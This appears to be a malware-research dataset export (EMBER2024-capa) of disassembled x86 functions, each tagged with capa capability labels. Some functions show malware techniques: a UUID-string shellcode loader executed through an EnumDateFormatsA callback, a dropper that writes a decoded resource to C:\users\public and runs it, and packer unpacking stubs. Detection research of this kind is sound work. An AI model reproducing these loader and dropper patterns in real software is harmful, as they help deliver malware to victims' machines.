joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5a33f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6dac52
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7cc164]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 8]
mov dword [esi + 4], eax
mov dword [esi], vtable.google::protobuf::DescriptorProto.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [ebp - 4], 0
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], 0
mov dword [esi + 0x58], 0
mov dword [esi + 0x5c], 0
mov dword [esi + 0x60], eax
mov dword [esi + 0x64], 0
mov dword [esi + 0x68], 0
mov dword [esi + 0x6c], 0
mov dword [esi + 0x70], eax
mov dword [esi + 0x74], 0
mov dword [esi + 0x78], 0
mov dword [esi + 0x7c], 0
push eax
lea ecx, [esi + 0x80]
mov byte [ebp - 4], 6
call fcn.0046ee50
mov dword [esi + 0x90], 0x7d8140
mov eax, esi
mov dword [esi + 0x94], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x5a3520
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6dac8b
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7cc164]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 8]
mov dword [esi + 4], eax
mov dword [esi], vtable.google::protobuf::EnumDescriptorProto.0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [ebp - 4], 0
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
push eax
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
call fcn.0046ee50
mov dword [esi + 0x40], 0x7d8140
mov eax, esi
mov dword [esi + 0x44], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x5a73c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x5a73d2
mov esi, dword [eax]
mov edi, dword [eax + 0x10]
xor ecx, ecx
mov edx, 0x811c9dc5
test edi, edi
je 0x5a73f1
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x5a73e0
pop edi
mov eax, edx
pop esi
pop ebp
ret 4
Function at 0x5a9aa0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xor ecx, ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov edx, dword [edi + 4]
mov esi, dword [edi + 8]
add esi, edx
cmp edx, esi
jae 0x5a9acd
nop dword [eax]
movsx eax, byte [edx]
lea ecx, [ecx + ecx*4]
inc edx
add ecx, eax
cmp edx, esi
jb 0x5a9ac0
imul eax, dword [edi], 0x1000193
xor eax, ecx
mov ecx, ebx
push eax
push edi
lea eax, [ebp - 8]
push eax
call fcn.005aad10
mov eax, dword [eax + 4]
test eax, eax
je 0x5a9af8
cmp eax, dword [ebx + 4]
je 0x5a9af8
mov eax, dword [eax + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x68913ae0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x68913ca4
pushal
mov esi, 0x68911015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x68913b0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x68913b11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x68913b00
mov eax, 1
add ebx, ebx
jne 0x68913b23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x68913b18
jne 0x68913b34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x68913b18
xor ecx, ecx
sub eax, 3
jb 0x68913b48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x68913bba
mov ebp, eax
add ebx, ebx
jne 0x68913b53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x68913b60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x68913b84
inc ecx
add ebx, ebx
jne 0x68913b70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x68913b65
jne 0x68913b81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x68913b65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x68913ba4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x68913b95
jmp 0x68913b06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x68913ba4
add edi, ecx
jmp 0x68913b06
pop esi
mov edi, esi
mov ecx, 0x1d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x68913bc2
cmp byte [edi], 0
jne 0x68913bc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x68913bc7
lea edi, [esi + 0x11000]
mov eax, dword [edi]
or eax, eax
je 0x68913c36
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x68913bf4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x13054]
or eax, eax
je 0x68913c30
mov dword [ebx], eax
add ebx, 4
jmp 0x68913c11
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x68913c67
cmp al, 0xef
ja 0x68913c5a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x68913c3c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x68913c49
mov ebp, dword [esi + 0x13058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x68913c9b
sub esp, 0xffffff80
jmp 0x689012c0
Function at 0x41ea90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x414015
lea edi, [esi - 0x13015]
push edi
jmp 0x41eaaa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41eab1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41eaa0
mov eax, 1
add ebx, ebx
jne 0x41eac3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41eab8
jne 0x41ead4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41eab8
xor ecx, ecx
sub eax, 3
jb 0x41eae8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41eb5a
mov ebp, eax
add ebx, ebx
jne 0x41eaf3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41eb00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41eb24
inc ecx
add ebx, ebx
jne 0x41eb10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41eb05
jne 0x41eb21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41eb05
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41eb44
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41eb35
jmp 0x41eaa6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41eb44
add edi, ecx
jmp 0x41eaa6
pop esi
mov edi, esi
mov ecx, 0x43e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41eb62
cmp byte [edi], 5
jne 0x41eb62
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41eb67
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x41ebd6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1e000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1e0d0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41eb94
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1e0d8]
or eax, eax
je 0x41ebd0
mov dword [ebx], eax
add ebx, 4
jmp 0x41ebb1
call dword [esi + 0x1e0d4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41ec07
cmp al, 0xef
ja 0x41ebfa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41ebdc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41ebe9
mov ebp, dword [esi + 0x1e0dc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41ec3b
sub esp, 0xffffff80
jmp 0x40e910
Function at 0x935166
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x92f140]
jne 0x935170
repz ret
jmp fcn.009354af

Function at 0x93b328
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x92f140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00936976
and dword [ebp - 0x14], 0
cmp dword [0x932b2c], 0
mov dword [ebp - 0x18], eax
jne 0x93b3db
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x93b483
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x93b483
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x932b2c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x932b30], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x932b34], eax
call edi
push eax
call esi
mov dword [0x932b3c], eax
test eax, eax
je 0x93b3db
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x932b38], eax
mov eax, dword [0x932b38]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x93b434
cmp dword [0x932b3c], ecx
je 0x93b434
push eax
call esi
push dword [0x932b3c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x93b434
test ebx, ebx
je 0x93b434
call edi
test eax, eax
je 0x93b42b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x93b42b
test byte [ebp - 8], 1
jne 0x93b434
or dword [ebp + 0x10], 0x200000
jmp 0x93b467
mov eax, dword [0x932b30]
cmp eax, dword [ebp - 0x18]
je 0x93b467
push eax
call esi
test eax, eax
je 0x93b467
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x93b467
mov eax, dword [0x932b34]
cmp eax, dword [ebp - 0x18]
je 0x93b467
push eax
call esi
test eax, eax
je 0x93b467
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x932b2c]
call esi
test eax, eax
je 0x93b483
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x93b485
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00935166
leave
ret
Function at 0x401ab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x401b45
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x401b45
xor edx, edx
div dword [esi + 0x3cc]
test edx, edx
jne 0x401b45
xor ecx, ecx
mov dword [ebp - 4], ecx
push ebx
mov ebx, dword [ebp + 0xc]
test eax, eax
je 0x401b44
push edi
lea edi, [esi + 0x3f4]
push ebx
push dword [ebp + 8]
mov ecx, esi
call fcn.00401410
cmp byte [esi + 4], 0
mov edx, ebx
je 0x401b17
xor eax, eax
cmp dword [esi + 0x3cc], eax
jle 0x401b17
mov cl, byte [edi + eax]
lea edx, [edx + 1]
xor byte [edx - 1], cl
inc eax
cmp eax, dword [esi + 0x3cc]
jl 0x401b05
push dword [esi + 0x3cc]
push dword [ebp + 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esi + 0x3cc]
xor edx, edx
mov eax, dword [ebp + 0x10]
add esp, 0xc
div ecx
inc dword [ebp - 4]
add ebx, ecx
add dword [ebp + 8], ecx
cmp dword [ebp - 4], eax
jb 0x401ae8
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4023a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x409008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x407500
push 0x68
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 0x40000
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x1000000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x48], eax
mov esi, eax
mov eax, 0x38e38e39
mov dword [ebp - 0x20], 0
mul dword [ebp - 0x44]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x40], xmm0
movaps xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x1c], 0
shr edx, 3
mov dword [ebp - 0x44], edx
test edx, edx
jle 0x402481
push 0x24
lea eax, [ebp - 0x40]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
add esp, 0xc
lea eax, [ebp - 0x40]
push esi
push eax
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
test eax, eax
je 0x402475
push str.UuidFromStringA_____S_OK_n
call fcn.00402300
add esp, 4
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 0x10
add edi, 0x24
sub dword [ebp - 0x44], 1
jne 0x402440
mov esi, dword [ebp - 0x48]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00402cab
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x402b00
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403be8
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
mov eax, dword [0x409008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x4076bc
push 0x69
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov dword [ebp - 0x60], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, eax
mov dword [ebp - 0x64], 0xf
mov dword [ebp - 0x68], 0
mov byte [ebp - 0x78], 0
cmp byte [edx], 0
jne 0x402b77
xor ecx, ecx
jmp 0x402b89
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b80
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x78]
call fcn.00401e40
lea edx, [ebp - 0x78]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x5c]
call fcn.00401b50
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 2
call fcn.00401d40
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x44]
call fcn.004024b0
mov byte [ebp - 4], 3
lea esi, [ebp - 0x44]
cmp dword [ebp - 0x30], 0x10
mov edi, dword [ebp - 0x34]
cmovae esi, dword [ebp - 0x44]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ebx, eax
mov edx, esi
push edi
mov ecx, ebx
call fcn.00402330
add esp, 8
mov dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
push 0x21
push str.C:userspublic_
call fcn.00401e40
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push 0x80
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x60]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 1
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
lea ecx, [ebp - 0x28]
call fcn.00401d40
lea ecx, [ebp - 0x44]
call fcn.00401d40
lea ecx, [ebp - 0x5c]
call fcn.00401d40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402cab
mov esp, ebp
pop ebp
ret
Function at 0x401740
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40eeb5
push eax
mov dword fs:[0], esp
sub esp, 0x88
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x20], 8
lea esi, [edi + 0xc]
mov eax, esi
jb 0x401770
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40193b
test al, 0x10
jne 0x40193b
push esi
lea ecx, [ebp - 0x58]
call fcn.00401f40
lea eax, [edi + 0x24]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x3c]
call fcn.00401f40
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 1
push eax
mov ecx, edi
call fcn.00401160
cmp dword [ebp - 0x44], 8
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0x3c
cmovae eax, dword [ebp - 0x58]
cmp dword [ebp - 0x14], 0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x90], 0x440
mov dword [ebp - 0x8c], 0
jne 0x4017fe
xor eax, eax
jmp 0x401809
cmp dword [ebp - 0x10], 8
lea eax, [ebp - 0x24]
cmovae eax, dword [ebp - 0x24]
cmp dword [ebp - 0x2c], 0
mov dword [ebp - 0x80], eax
jne 0x401816
xor eax, eax
jmp 0x401821
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x78], 5
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x88], str.open
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp eax, 1
jne 0x401858
cmp dword [ebp - 0x5c], 0
je 0x401858
mov bl, al
jmp 0x40185a
xor bl, bl
mov ecx, dword [ebp - 0x10]
cmp ecx, 8
jb 0x401894
mov edx, dword [ebp - 0x24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40188a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40194e
push ecx
push edx
call fcn.00402b7e
add esp, 8
mov ecx, dword [ebp - 0x28]
xor eax, eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 7
mov word [ebp - 0x24], ax
cmp ecx, 8
jb 0x4018de
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4018d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40194e
push ecx
push edx
call fcn.00402b7e
add esp, 8
mov ecx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 8
jb 0x401928
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40191e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40194e
push ecx
push edx
call fcn.00402b7e
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00405d2c
int3
Function at 0x403307
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403346
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403346
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403346
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403346
cmp dword [ecx + 0x74], 0xe
jbe 0x403346
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408ee1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408f7e
push ebx
push esi
call fcn.00408eaa
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00408e3e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x408f2b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408f7d
push edi
push eax
call fcn.0040782b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x408f4b
call fcn.00407879
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408f7c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00408e3e
add esp, 0x20
test eax, eax
jne 0x408f6a
push edi
call fcn.00407879
jmp 0x408f72
push ebx
call fcn.00407879
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409d8c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411010
push 0x411008
push str.FlsAlloc
push 0x1f
call fcn.00409ca8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409dc0
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f118]
call esi
jmp 0x409dc6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409e0a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411020
push 0x411018
push str.FlsGetValue
push 0x21
call fcn.00409ca8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409e41
push dword [ebp + 8]
mov ecx, esi
call dword [0x40f118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x409e49
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411028
push 0x411020
push str.FlsSetValue
push 0x22
call fcn.00409ca8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409e83
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40f118]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40eca0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40eccd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40eccd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret